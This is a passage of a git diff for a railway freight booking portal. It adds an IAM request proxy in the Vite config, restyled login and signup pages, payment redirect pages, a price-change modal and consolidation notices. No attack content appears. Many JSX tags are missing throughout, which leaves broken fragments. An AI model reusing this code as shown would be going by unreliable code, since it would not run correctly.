+ if (Array.isArray(value)) {
+ for (const item of value) {
+ headers.append(key, item);
+ }
+ continue;
+ }
+
+ headers.set(key, value);
+ }
+
+ const body =
+ req.method === "GET" || req.method === "HEAD"
+ ? undefined
+ : await new Promise((resolve, reject) => {
+ const chunks: Buffer[] = [];
+ req.on("data", (chunk) =>
+ chunks.push(
+ Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk),
+ ),
+ );
+ req.on("end", () => resolve(Buffer.concat(chunks)));
+ req.on("error", reject);
+ });
+
+ const upstreamResponse = await fetch(targetUrl, {
+ method: req.method,
+ headers,
+ body,
+ });
+
+ if (targetUrl.pathname.endsWith("/auth/me")) {
+ const payload = await upstreamResponse.json();
+ const unwrappedPayload =
+ payload &&
+ typeof payload === "object" &&
+ "success" in payload &&
+ "data" in payload
+ ? payload.data
+ : payload;
+
+ res.statusCode = upstreamResponse.status;
+ res.setHeader("content-type", "application/json; charset=utf-8");
+ res.end(JSON.stringify(unwrappedPayload));
+ return;
+ }
+
+ res.statusCode = upstreamResponse.status;
+ upstreamResponse.headers.forEach((value, key) => {
+ res.setHeader(key, value);
+ });
+ res.end(Buffer.from(await upstreamResponse.arrayBuffer()));
+ } catch (error) {
+ server.ssrFixStacktrace(error as Error);
+ res.statusCode = 502;
+ res.setHeader("content-type", "application/json; charset=utf-8");
+ res.end(
+ JSON.stringify({
+ message: "Failed to forward IAM request",
+ }),
+ );
+ }
});
},
};
}
-export default defineConfig({
- plugins: [userManagementSpaFallback(), react(), tailwindcss()],
- resolve: {
- alias: {
- "@": path.resolve(__dirname, "./src"),
- // Resolve from TS source so Vite gets ESM named exports (dist is CommonJS).
- "@edr/types": path.resolve(__dirname, "../../../packages/types/src/index.ts"),
+export default defineConfig(({ mode }) => {
+ const env = loadEnv(mode, __dirname, "");
+ const apiBaseUrl =
+ env.VITE_BASE_API_URL?.trim() || "http://localhost:3000";
+
+ return {
+ plugins: [react(), tailwindcss(), createIamApiAdapter(apiBaseUrl)],
+ resolve: {
+ alias: {
+ "@": path.resolve(__dirname, "./src"),
+ "node:buffer": "buffer",
+ "node:stream": "stream-browserify",
+ // Resolve from TS source so Vite gets ESM named exports (dist is CommonJS).
+ "@edr/types": path.resolve(
+ __dirname,
+ "../../../packages/types/src/index.ts",
+ ),
+ },
+ // Force a single copy of these singletons so MantineProvider context is
+ // shared between the backoffice app and @edr/ui-common (which ships its
+ // own node_modules copy). Without this, two separate @mantine/core
+ // instances are bundled and the context lookup fails at runtime.
+ dedupe: ["react", "react-dom", "@mantine/core", "@mantine/hooks"],
},
- // Force a single copy of these singletons so MantineProvider context is
- // shared between the backoffice app and @edr/ui-common (which ships its
- // own node_modules copy). Without this, two separate @mantine/core
- // instances are bundled and the context lookup fails at runtime.
- dedupe: ["react", "react-dom", "@mantine/core", "@mantine/hooks"],
- },
- server: {
- port: 5183,
- host: "0.0.0.0",
- },
- test: {
- environment: "node",
- },
+ server: {
+ port: 5183,
+ host: "0.0.0.0",
+ },
+ test: {
+ environment: "node",
+ },
+ };
});
diff --git a/apps/edr-freight-web/portal/public/assets/login.png b/apps/edr-freight-web/portal/public/assets/login.png
new file mode 100644
index 000000000..f4854a45c
Binary files /dev/null and b/apps/edr-freight-web/portal/public/assets/login.png differ
diff --git a/apps/edr-freight-web/portal/public/assets/telebirr.jpeg b/apps/edr-freight-web/portal/public/assets/telebirr.jpeg
new file mode 100644
index 000000000..04e034393
Binary files /dev/null and b/apps/edr-freight-web/portal/public/assets/telebirr.jpeg differ
diff --git a/apps/edr-freight-web/portal/public/assets/waafi.jpeg b/apps/edr-freight-web/portal/public/assets/waafi.jpeg
new file mode 100644
index 000000000..392de36cc
Binary files /dev/null and b/apps/edr-freight-web/portal/public/assets/waafi.jpeg differ
diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx
index 9938daff9..bbcdba42e 100644
--- a/apps/edr-freight-web/portal/src/App.tsx
+++ b/apps/edr-freight-web/portal/src/App.tsx
@@ -36,6 +36,8 @@ import EditBookingPage from "./pages/bookings/EditBookingPage";
import MyBookings from "./pages/bookings/MyBookings";
import NewBookingPage from "./pages/bookings/NewBookingPage";
import CheckPaymentPage from "./pages/payments/CheckPaymentPage";
+import PaymentSuccessPage from "./pages/payments/PaymentSuccessPage";
+import PaymentFailurePage from "./pages/payments/PaymentFailurePage";
import TrackingPage from "./pages/tracking/TrackingPage";
function FullScreenSpinner() {
@@ -144,10 +146,11 @@ const sidebarItems: SidebarItem[] = [
const App = () => {
const navigate = useNavigate();
const location = useLocation();
- const { user } = useAuth();
+ const { user, company } = useAuth();
const displayName = user?.name?.en || user?.username || user?.email || "User";
const userEmail = user?.email;
+ const companyProfiles = company?.company?.companyProfiles ?? [];
return (
@@ -158,6 +161,9 @@ const App = () => {
path="/booking/check-status/:orderId"
element={ }
/>
+ {/* Payment provider browser redirects (PAYMENT_RETURN_URL / PAYMENT_FAILURE_URL) */}
+ } />
+ } />
{/* Auth pages — inaccessible once logged in */}
}>
@@ -185,6 +191,7 @@ const App = () => {
enableThemeToggle
userName={displayName}
userEmail={userEmail}
+ companyProfiles={companyProfiles}
>
diff --git a/apps/edr-freight-web/portal/src/components/AppLayout.tsx b/apps/edr-freight-web/portal/src/components/AppLayout.tsx
index 8d00baeb6..e0de92ec5 100644
--- a/apps/edr-freight-web/portal/src/components/AppLayout.tsx
+++ b/apps/edr-freight-web/portal/src/components/AppLayout.tsx
@@ -47,9 +47,19 @@ export interface AppLayoutProps {
enableThemeToggle?: boolean;
userName?: string;
userEmail?: string;
+ /** Operational profiles for the company — surfaced as reference chips in the account menu. */
+ companyProfiles?: { type: string; reference: string; status?: string }[];
children: ReactNode;
}
+const PROFILE_TYPE_LABELS: Record = {
+ importer: "Importer",
+ exporter: "Exporter",
+ freight_forwarder: "Freight Forwarder",
+ dj_freight_forwarder: "DJ Freight Forwarder",
+ transporter: "Transporter",
+};
+
function getInitials(name: string): string {
return name
.split(" ")
@@ -106,6 +116,7 @@ export function AppLayout({
enableThemeToggle = false,
userName = "User",
userEmail,
+ companyProfiles = [],
children,
}: AppLayoutProps) {
const [mobileOpen, { toggle: toggleMobile }] = useDisclosure();
@@ -306,6 +317,34 @@ export function AppLayout({
)}
+ {companyProfiles.length > 0 && (
+ <>
+
+
+
+ {companyProfiles.map((p) => (
+
+
+ {PROFILE_TYPE_LABELS[p.type] ?? p.type}
+
+
+ {p.reference}
+
+
+ ))}
+
+
+ >
+ )}
}
diff --git a/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx b/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx
new file mode 100644
index 000000000..96d55bdd0
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/components/auth/AuthShell.tsx
@@ -0,0 +1,151 @@
+import type { ReactNode } from "react";
+import { ArrowUpRight, ChevronDown, Globe } from "lucide-react";
+
+const LOGIN_IMAGE = "/assets/login.png";
+const EDR_LOGO = "/assets/logo.svg";
+
+export const fieldClass =
+ "h-11 w-full rounded-xl border border-gray-200/90 bg-white px-4 text-sm text-gray-900 shadow-sm placeholder:text-gray-400 outline-none transition-all duration-200 hover:border-gray-300 focus:border-primary focus:bg-white focus:ring-4 focus:ring-primary/10";
+
+export const primaryButtonClass =
+ "h-11 w-full rounded-full bg-primary text-sm font-semibold text-primary-foreground shadow-[0_8px_20px_-6px_rgba(16,94,52,0.5)] transition-all duration-200 hover:bg-primary/90 hover:shadow-[0_10px_24px_-6px_rgba(16,94,52,0.55)] active:scale-[0.99] disabled:cursor-not-allowed disabled:opacity-60 disabled:shadow-none";
+
+const LeftPanelDecor = () => (
+
+
+ {[0, 1, 2, 3, 4, 5].map((ring) => (
+
+ ))}
+
+
+
+);
+
+const RightPanelDecor = () => (
+
+);
+
+export interface AuthShellProps {
+ children: ReactNode;
+ /** Tagline shown in the highlighted card over the left image panel. */
+ tagline?: string;
+ taglineBody?: string;
+}
+
+const LeftPanel = ({ tagline, taglineBody }: Pick) => (
+
+
+
+
+
+
+
+
+
+
+
+
+ {tagline ?? "Empower Your Freight Operations"}
+
+
+
+ {taglineBody ??
+ "Sign in to manage shipments, track cargo, and run logistics operations on the Ethio Djibouti Railway freight platform."}
+
+
+
+
+);
+
+const LanguageSelector = () => (
+
+
+ Eng
+
+
+);
+
+const FormFooter = () => (
+
+);
+
+export default function AuthShell({ children, tagline, taglineBody }: AuthShellProps) {
+ return (
+ <>
+
+
+
+
+
+ >
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts
index a2a72655e..08b26a255 100644
--- a/apps/edr-freight-web/portal/src/constants/URLS.ts
+++ b/apps/edr-freight-web/portal/src/constants/URLS.ts
@@ -83,6 +83,7 @@ export const URL_CONSTANTS = {
GET_INFO: "/api/companies/getInfo",
CREATE: "/api/companies/create",
PROFILE: "/api/companies/profile",
+ COMPANY_PROFILES: "/api/companies/company-profiles",
DASHBOARD: "/api/companies/dashboard",
DOCUMENTS: (id: string) => `/api/companies/${id}/documents`,
},
@@ -100,6 +101,7 @@ export const URL_CONSTANTS = {
TRAIN_SCHEDULING: {
BOOKABLE_SCHEDULES: "/api/train-scheduling/bookable-schedules",
+ AVAILABLE_DAYS: "/api/train-scheduling/available-days",
},
PAYMENTS: {
diff --git a/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/BookingRow.tsx b/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/BookingRow.tsx
index 27b923467..ffd59666e 100644
--- a/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/BookingRow.tsx
+++ b/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/BookingRow.tsx
@@ -2,6 +2,7 @@ import { Box, Group, Stack, Text } from "@mantine/core";
import { memo } from "react";
import { ACTION_PROPS, STATUS_CONFIG, cv } from "../constants";
import { Stepper } from "./Stepper";
+import { PayNowButton } from "@/pages/bookings/payments/PayNowButton";
interface BookingRowProps {
booking: any;
@@ -18,6 +19,10 @@ export const BookingRow = memo(function BookingRow({
const Icon = cfg.icon;
const AIcon = cfg.action.icon;
const ap = ACTION_PROPS[cfg.action.kind];
+ // Payable bookings get an inline "Pay now" that opens the payment modal
+ // instead of navigating to the detail page.
+ const canPay =
+ booking.status === "SELECTED_FOR_BATCH" && booking.paymentStatus !== "PAID";
const origin = booking.originYard?.label ?? booking.originYard?.code ?? "—";
const dest =
booking.destinationYard?.label ?? booking.destinationYard?.code ?? "—";
@@ -78,25 +83,29 @@ export const BookingRow = memo(function BookingRow({
{cfg.badgeLabel}
-
-
- {cfg.action.label}
-
- {AIcon && (
-
- )}
-
+ {canPay ? (
+
+ ) : (
+
+
+ {cfg.action.label}
+
+ {AIcon && (
+
+ )}
+
+ )}
diff --git a/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/InvoicesSection.tsx b/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/InvoicesSection.tsx
index 4e2c30343..3ebb9606f 100644
--- a/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/InvoicesSection.tsx
+++ b/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/InvoicesSection.tsx
@@ -54,7 +54,7 @@ export const InvoicesSection = memo(function InvoicesSection({
Outstanding balance
- {formatCurrency(totalOutstanding || 377500, "ETB")}
+ {formatCurrency(totalOutstanding || 0, "ETB")}
- {icon && {icon}
}
-
-
{label}
-
{value || "—"}
-
-
+
+ {icon && (
+
+ {icon}
+
+ )}
+
+
+ {label}
+
+
+ {value || "—"}
+
+
+
+ );
+}
+
+function CardHeading({
+ icon,
+ title,
+ description,
+}: {
+ icon: React.ReactNode;
+ title: string;
+ description: string;
+}) {
+ return (
+
+
+ {icon}
+
+ {title}
+
+
+
+ {description}
+
+
+ );
+}
+
+function PersonnelGroup({
+ color,
+ title,
+ children,
+}: {
+ color: string;
+ title: string;
+ children: React.ReactNode;
+}) {
+ return (
+
+
+
+
+ {title}
+
+
+
+ {children}
+
+
);
}
@@ -22,163 +118,293 @@ export default function ProfilePage() {
if (isPending) {
return (
-
+
+
+
);
}
if (!profile) {
return (
-
-
No company profile found.
-
+
+ No company profile found.
+
);
}
+ // Registered operational profiles keyed by type, plus the roles this company
+ // type may hold (importer/exporter for a customer). Mirrors CompanyRolesCard.
+ const refByType = new Map(profile.companyProfiles.map((p) => [p.type, p]));
+ const roleOptions = rolesForCompanyType(profile.companyType);
+ const activeOptions = roleOptions.filter((o) => refByType.has(o.type));
+
return (
-
-
-
- {/* Header */}
-
-
-
-
-
-
-
- {profile.companyName}
-
-
- Verified
+
+ {/* Header */}
+
+
+
+
+
+
+
+ {profile.companyName}
+
+
+ Verified
+
+
+ {activeOptions.length > 0 ? (
+
+ {activeOptions.map((opt) => (
+
+ {opt.label} · {refByType.get(opt.type)!.reference}
-
-
-
- {profile.companyName}
-
-
-
+ ))}
+
+ ) : (
+
+
+
+ {profile.companyType}
+
+
+ )}
+
+
-
+
-
- {/* Left Column */}
-
-
- {/* Company Details */}
-
-
-
-
- Company Details
-
- Business registration information
-
-
- } label="Location" value={profile.companyLocation} />
- } label="Address" value={profile.companyAddress} />
- } label="TIN Number" value={profile.tinNumber} />
- } label="FAN Number" value={profile.fanNumber} />
- } label="Email" value={profile.companyEmail} />
- } label="Phone" value={profile.companyPhone} />
-
-
+
+ {/* Left Column */}
+
+
+ {/* Company Details */}
+
+
+ }
+ title="Company Details"
+ description="Business registration information"
+ />
+
+ }
+ label="Location"
+ value={profile.companyLocation}
+ />
+ }
+ label="Address"
+ value={profile.companyAddress}
+ />
+ }
+ label="TIN Number"
+ value={profile.tinNumber}
+ />
+ }
+ label="FAN Number"
+ value={profile.fanNumber}
+ />
+ }
+ label="Email"
+ value={profile.companyEmail}
+ />
+ }
+ label="Phone"
+ value={profile.companyPhone}
+ />
+
+
- {/* Personal Details (from ExternalProfile) */}
-
-
-
-
- Profile Details
-
- Your linked user profile
-
-
- } label="Profile" value="Primary Contact" />
-
-
-
+ {/* Key Personnel */}
+
+
+ }
+ title="Key Personnel"
+ description="Management and contact persons"
+ />
+
+
+
+
+
+
+
+
+
+
+
+
- {/* Personnel Card */}
-
-
-
-
- Key Personnel
-
- Management and contact persons
-
-
-
-
- Contact Person
-
-
-
-
-
-
-
-
- General Manager
-
-
-
-
-
-
-
-
+ {/* Power of Attorney */}
+ {profile.poaName && (
+
+
+ }
+ title="Power of Attorney"
+ description="Authorized representative details"
+ />
+
+
+
+
+
+
+ )}
+
+
- {/* Power of Attorney */}
- {profile.poaName && (
-
-
-
-
- Power of Attorney
-
- Authorized representative details
-
-
-
-
-
-
-
-
+ {/* Right Column */}
+
+
+ {/* Operating Roles */}
+
+
+ }
+ title="Operating Roles"
+ description="Your registered freight roles and reference numbers"
+ />
+ {roleOptions.length === 0 ? (
+
+ Role management for this company type is coming soon.
+
+ ) : (
+
+ {roleOptions.map((opt) => {
+ const active = refByType.get(opt.type);
+ return (
+
+
+
+ {opt.icon}
+
+
+
+ {opt.label}
+
+
+ {active ? active.reference : "Not registered"}
+
+
+
+ {active ? (
+
+ {active.status}
+
+ ) : (
+ }
+ >
+ Add {opt.label}
+
+ )}
+
+ );
+ })}
+
)}
-
+
- {/* Right Column */}
-
-
-
-
-
-
- Secure Account
-
- Your information is protected by enterprise-grade security.
- Contact support for verified information updates.
-
-
-
-
-
-
-
-
-
+ {/* Secure Account */}
+
+
+
+
+
+
+ Secure Account
+
+
+ Your information is protected by enterprise-grade security.
+ Contact support for verified information updates.
+
+
+ Edit Settings
+
+
+
+
+
+
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx b/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx
index f8ba4ff45..458843a57 100644
--- a/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx
+++ b/apps/edr-freight-web/portal/src/pages/accounts/LoginPage.tsx
@@ -1,39 +1,51 @@
-import { Alert, Box, Button, Group, PasswordInput, SegmentedControl, Stack, Text, TextInput } from "@mantine/core";
-import { ArrowRight, Mail, Phone } from "lucide-react";
-import { useState } from "react";
+import { type FormEvent, useState } from "react";
+import { ChevronDown, Eye, EyeOff, Mail, Smartphone } from "lucide-react";
import { useLocation, useNavigate } from "react-router-dom";
import useAuth from "@/hooks/useAuth";
-import AuthLayout from "@/components/auth/AuthLayout";
-import PhoneInput from "@/components/auth/PhoneInput";
+import AuthShell, { fieldClass, primaryButtonClass } from "@/components/auth/AuthShell";
+
+const EDR_LOGO = "/assets/edr-logo.png";
type LoginMethod = "email" | "phone";
+const loginMethods: Array<{
+ value: LoginMethod;
+ label: string;
+ icon: typeof Mail;
+ placeholder: string;
+}> = [
+ { value: "email", label: "Email", icon: Mail, placeholder: "name@company.com" },
+ { value: "phone", label: "Phone", icon: Smartphone, placeholder: "09XXXXXXXX" },
+];
+
export default function LoginPage() {
const navigate = useNavigate();
const location = useLocation();
const { login } = useAuth();
const [method, setMethod] = useState
("email");
const [identifier, setIdentifier] = useState("");
- const [countryCode, setCountryCode] = useState("+251");
- const [phoneNumber, setPhoneNumber] = useState("");
+ const [countryCode] = useState("+251");
const [password, setPassword] = useState("");
+ const [showPassword, setShowPassword] = useState(false);
const [error, setError] = useState(null);
const [loading, setLoading] = useState(false);
- const handleSubmit = async (e: React.FormEvent) => {
- e.preventDefault();
+ const currentMethod = loginMethods.find((item) => item.value === method)!;
+
+ const handleSubmit = async (event: FormEvent) => {
+ event.preventDefault();
setError(null);
setLoading(true);
try {
const loginId =
method === "email"
? identifier
- : `${countryCode}${phoneNumber.startsWith("0") ? phoneNumber.slice(1) : phoneNumber}`;
+ : `${countryCode}${identifier.startsWith("0") ? identifier.slice(1) : identifier}`;
const result = await login({ email: loginId, password });
if (result.success) {
- const from = (location.state as { from?: { pathname: string } } | null)
- ?.from?.pathname;
+ const from = (location.state as { from?: { pathname: string } } | null)?.from
+ ?.pathname;
navigate(from ?? "/portal", { replace: true });
} else {
setError(result.error.message);
@@ -46,154 +58,105 @@ export default function LoginPage() {
};
return (
-
-
-
-
-
-
-
+
+
-
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx b/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx
index f85d11750..43a131e90 100644
--- a/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx
+++ b/apps/edr-freight-web/portal/src/pages/accounts/SignupPage.tsx
@@ -1,7 +1,6 @@
-import { Alert, Box, Button, Group, PasswordInput, SimpleGrid, Stack, Text, TextInput, ThemeIcon } from "@mantine/core";
-import { zodResolver } from "@hookform/resolvers/zod";
-import { Check, ArrowRight, UserPlus, X } from "lucide-react";
import { useState } from "react";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { ArrowRight, Check, Eye, EyeOff, X } from "lucide-react";
import { useForm } from "react-hook-form";
import { useNavigate } from "react-router-dom";
import { z } from "zod";
@@ -9,8 +8,9 @@ import { z } from "zod";
import { userType } from "@/enums/userType";
import useAuth from "@/hooks/useAuth";
import type { SignupPayload } from "@/types/auth";
-import AuthLayout from "@/components/auth/AuthLayout";
-import PhoneInput from "@/components/auth/PhoneInput";
+import AuthShell, { fieldClass, primaryButtonClass } from "@/components/auth/AuthShell";
+
+const EDR_LOGO = "/assets/edr-logo.png";
const passwordRequirements = [
{ label: "At least 8 characters", test: (v: string) => v.length >= 8 },
@@ -20,11 +20,22 @@ const passwordRequirements = [
{ label: "One special character", test: (v: string) => /[^A-Za-z0-9]/.test(v) },
] as const;
+const ETHIOPIA_COUNTRY_CODE = "+251";
+
+const isValidEthiopianMobile = (value: string) => {
+ const digits = value.replace(/\D/g, "");
+ const normalized = digits.startsWith("0") ? digits.slice(1) : digits;
+ return /^9\d{8}$/.test(normalized);
+};
+
const userSchema = z
.object({
email: z.string().email("Invalid email address"),
- countryCode: z.string().min(1, "Country code is required"),
- phone: z.string().min(9, "Phone number is too short").max(9, "Phone number is too long"),
+ countryCode: z.literal(ETHIOPIA_COUNTRY_CODE),
+ phone: z
+ .string()
+ .min(1, "Phone number is required")
+ .refine(isValidEthiopianMobile, "Enter a valid mobile number (e.g. 0912345678)"),
userType: z.string(),
firstName: z.object({ en: z.string().min(2, "Name is required"), am: z.string().nullable() }),
lastName: z.object({ en: z.string().min(2, "Name is required"), am: z.string().nullable() }),
@@ -44,11 +55,16 @@ const userSchema = z
type FormData = z.infer;
+const errorText = (msg?: string) =>
+ msg ? {msg}
: null;
+
export default function SignupPage() {
const navigate = useNavigate();
const { signup } = useAuth();
const [error, setError] = useState(null);
const [loading, setLoading] = useState(false);
+ const [showPassword, setShowPassword] = useState(false);
+ const [showConfirm, setShowConfirm] = useState(false);
const {
register,
@@ -59,7 +75,7 @@ export default function SignupPage() {
resolver: zodResolver(userSchema),
defaultValues: {
email: "",
- countryCode: "+251",
+ countryCode: ETHIOPIA_COUNTRY_CODE,
phone: "",
userType: userType.individual,
firstName: { en: "", am: "" },
@@ -73,7 +89,8 @@ export default function SignupPage() {
setError(null);
setLoading(true);
try {
- const normalizedPhone = data.phone.startsWith("0") ? data.phone.slice(1) : data.phone;
+ const digits = data.phone.replace(/\D/g, "");
+ const normalizedPhone = digits.startsWith("0") ? digits.slice(1) : digits;
const payload: SignupPayload = {
email: data.email,
username: data.email,
@@ -102,145 +119,194 @@ export default function SignupPage() {
const passwordValue = watch("password") ?? "";
return (
-
-
-
-
-
-
-
- Create Account
-
-
+
+
-
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx
index f20679ab9..351ff6f5f 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/DraftBookingView.tsx
@@ -23,6 +23,7 @@ import { useMemo, useRef, useState } from "react";
import { useNavigate } from "react-router-dom";
import { api } from "@/services/api";
+import type { SubmitBookingResponse } from "@/services/bookings.service";
import type { Freight } from "@edr/types";
import { REQUIRED_DOC_FIELDS } from "./constants";
@@ -60,6 +61,8 @@ export function DraftBookingView({
const [cancelDialogOpen, setCancelDialogOpen] = useState(false);
const [cancelReason, setCancelReason] = useState("");
const [docError, setDocError] = useState("");
+ const [priceChangeModal, setPriceChangeModal] =
+ useState(null);
const anyFileSelected = Object.values(selectedFiles).some(Boolean);
const uploadedCodes = useMemo(
@@ -72,9 +75,11 @@ export function DraftBookingView({
const allDocsUploaded = uploadedCount === REQUIRED_DOC_FIELDS.length;
const { data: generatedPricing } = useQuery(
- api.bookings.generatePrice.queryOptions({ input: { id: booking.id },
-
- enabled: booking.status === "DRAFT" && !booking.pricingBreakdown,
+ api.bookings.generatePrice.queryOptions({
+ input: { id: booking.id },
+ enabled:
+ (booking.status === "DRAFT" || booking.status === "CHANGES_REQUESTED") &&
+ !booking.pricingBreakdown,
}),
);
const pricing = (booking.pricingBreakdown ??
@@ -82,8 +87,17 @@ export function DraftBookingView({
null) as Freight.PricingBreakdown | null;
const uploadMutation = useMutation({
- mutationFn: (files: Record) =>
- api.bookings.uploadDocuments.call({ id: booking.id, files }),
+ mutationFn: async (files: Record) => {
+ if (booking.status === "CHANGES_REQUESTED") {
+ const result = await api.bookings.update.call({
+ id: booking.id,
+ dto: {},
+ documents: files,
+ });
+ return result.booking;
+ }
+ return api.bookings.uploadDocuments.call({ id: booking.id, files });
+ },
onSuccess: () => {
setSelectedFiles({});
setDocError("");
@@ -93,7 +107,20 @@ export function DraftBookingView({
const submitMutation = useMutation({
mutationFn: () => api.bookings.submit.call({ id: booking.id }),
+ onSuccess: (result) => {
+ if (result.priceChanged) {
+ setPriceChangeModal(result);
+ return;
+ }
+ onBookingUpdated();
+ queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
+ },
+ });
+
+ const confirmSubmitMutation = useMutation({
+ mutationFn: () => api.bookings.confirmSubmit.call({ id: booking.id }),
onSuccess: () => {
+ setPriceChangeModal(null);
onBookingUpdated();
queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
},
@@ -155,7 +182,12 @@ export function DraftBookingView({
/>
@@ -163,7 +195,9 @@ export function DraftBookingView({
booking.latestChangeRequestNote ? (
navigate(`/bookings/${booking.id}/edit`)}
+ onAction={() =>
+ navigate(`/bookings/${booking.id}/edit?section=documents`)
+ }
>
{booking.latestChangeRequestNote}
@@ -260,6 +294,8 @@ export function DraftBookingView({
const isUploaded = uploadedCodes.has(doc.key);
const selected = selectedFiles[doc.key];
const file = booking.files?.find((f) => f.code === doc.key);
+ const allowReplace =
+ !isUploaded || booking.status === "CHANGES_REQUESTED";
return (
}
/>
) : (
<>
+ {isUploaded && (
+ }
+ />
+ )}
{
fileInputRefs.current[doc.key] = el;
@@ -318,7 +360,7 @@ export function DraftBookingView({
},
}}
>
- {selected ? "Change" : "Add"}
+ {selected ? "Change" : isUploaded ? "Replace" : "Add"}
{selected && (
+ setPriceChangeModal(null)}
+ title={Price has changed }
+ radius="lg"
+ centered
+ >
+ {priceChangeModal && (
+
+
+ {priceChangeModal.message ??
+ "The booking price has been updated. Confirm to submit with the new total."}
+
+ {priceChangeModal.previousTotalAmount !== undefined && (
+
+
+ Previous total
+
+
+ {priceChangeModal.previousTotalAmount.toLocaleString()}{" "}
+ {priceChangeModal.currency}
+
+
+ )}
+
+ New total
+
+ {priceChangeModal.totalAmount.toLocaleString()}{" "}
+ {priceChangeModal.currency}
+
+
+ {priceChangeModal.lineItems && priceChangeModal.lineItems.length > 0 && (
+
+ {priceChangeModal.lineItems.map((item) => (
+
+
+ {item.description}
+
+
+ {item.amount.toLocaleString()} {item.currency}
+
+
+ ))}
+
+ )}
+
+ setPriceChangeModal(null)}
+ >
+ Review later
+
+ confirmSubmitMutation.mutate()}
+ >
+ Confirm & submit
+
+
+
+ )}
+
+
setCancelDialogOpen(false)}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx
index 5998ea2fa..6fb25516a 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx
@@ -12,7 +12,11 @@ import { ActivityCard } from "./components/ActivityCard";
import { ContractCard } from "./components/ContractCard";
import { DocRow, IconSquare } from "./components/Documents";
import { BodyGrid, CardTitle, PageShell, SectionCard } from "./components/layout";
-import { CancelledBanner } from "./components/Notices";
+import {
+ CancelledBanner,
+ ConsolidationPairedNotice,
+ ConsolidationWaitingBanner,
+} from "./components/Notices";
import { HeaderButton, PageHeader } from "./components/PageHeader";
import { PaymentDeadlineCard } from "./components/PaymentDeadlineCard";
import { PaymentMethodModal } from "./components/PaymentMethodModal";
@@ -48,6 +52,13 @@ export function ReadonlyBookingView({ booking }: { booking: Freight.IBooking })
status === "SELECTED_FOR_BATCH" && booking.paymentStatus !== "PAID";
const showCountdown = canPay && !!booking.paymentDeadline;
const isExpired = status === "EXPIRED";
+ const isPendingConsolidation = status === "PENDING_CONSOLIDATION";
+ // Paired: a consolidation partner was found and the booking resumed the normal
+ // flow. Surface the "partner found" reassurance only in the early stages,
+ // before approval, so it doesn't linger for the rest of the booking's life.
+ const showPairedNotice =
+ !!booking.consolidationPartnerId &&
+ ["SUBMITTED", "PENDING_APPROVAL", "CHANGES_REQUESTED"].includes(status);
return (
@@ -92,10 +103,16 @@ export function ReadonlyBookingView({ booking }: { booking: Freight.IBooking })
subtitle="Payment wasn't completed in time, so this booking lost its slot. Rebook to try another schedule."
onRebook={() => navigate("/bookings/new")}
/>
+ ) : isPendingConsolidation ? (
+
) : (
)}
+ {showPairedNotice && }
+
+
+
+
+
+
+
+
+ Waiting for a partner
+
+
+ Your shipment is waiting to share a wagon
+
+
+ Your cargo only fills part of a wagon, so we’re pairing it with
+ another shipment on the same route to share the space. As soon as a
+ matching shipment is found, your booking continues automatically —
+ acceptance, approval and contract stay independent and yours alone.
+
+
+
+ {priceLabel && (
+
+
+ Your price (held)
+
+
+ {priceLabel}
+
+
+ )}
+
+
+ );
+}
+
+/**
+ * A brief positive notice shown once a consolidation partner has been found and
+ * the booking has resumed the normal flow (SUBMITTED with a partner linked).
+ * Reassures the customer the wait ended; the booking proceeds independently.
+ */
+export function ConsolidationPairedNotice() {
+ return (
+
+
+
+
+ Consolidation partner found
+
+
+ A matching shipment was found to share the wagon, so your booking is
+ back on track and now moving through review and approval as usual.
+ Nothing more is needed from you for now.
+
+
+
+ );
+}
+
export function MutationErrors({
mutations,
}: {
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PaymentDeadlineCard.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PaymentDeadlineCard.tsx
index 75ed3e652..54f900ab5 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PaymentDeadlineCard.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/PaymentDeadlineCard.tsx
@@ -69,11 +69,18 @@ export function PaymentDeadlineCard({
return () => clearInterval(interval);
}, [deadlineMs]);
- const accentBg = remaining.expired ? "#FBEAE7" : "#FDF3E0";
- const accentFg = remaining.expired ? "#C0392B" : "#9A5B00";
+ const accentBg = remaining.expired ? "#FBEAE7" : "#FEF6E6";
+ const accentFg = remaining.expired ? "#C0392B" : "#B07D14";
return (
-
+
Payment deadline
p.currencies.includes(cur));
